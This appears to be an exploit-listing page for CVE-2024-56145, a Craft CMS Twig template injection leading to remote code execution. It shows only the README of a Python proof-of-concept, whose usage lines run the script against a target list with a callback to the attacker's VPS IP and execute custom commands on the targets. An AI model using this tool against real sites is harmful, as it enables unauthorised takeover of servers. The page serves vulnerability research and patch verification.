CVE-2024-56145 PoC — Craft CMS 代码注入漏洞

Source

Associated Vulnerability

Description

CVE-2024-56145 SSTI to RCE - twig templates 

Readme

#### before you run script again do 

```fuser -k 6666/tcp```

### usage -

```python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200```

Custom command can be used like ```python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami"```

```-i``` is your IP or your vps IP (use that by doing ipconfig / ifconfig.

Like - ```python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200```


Written By 
Chirag Artani (https://x.com/Chirag99Artani)

File Snapshot

 [4.0K]  /data/pocs/0dfcfd5108091ad91a4287776c904d0a6878edbc
├── [9.7K]  poc.py
└── [ 442]  README.md

0 directories, 2 files

Remarks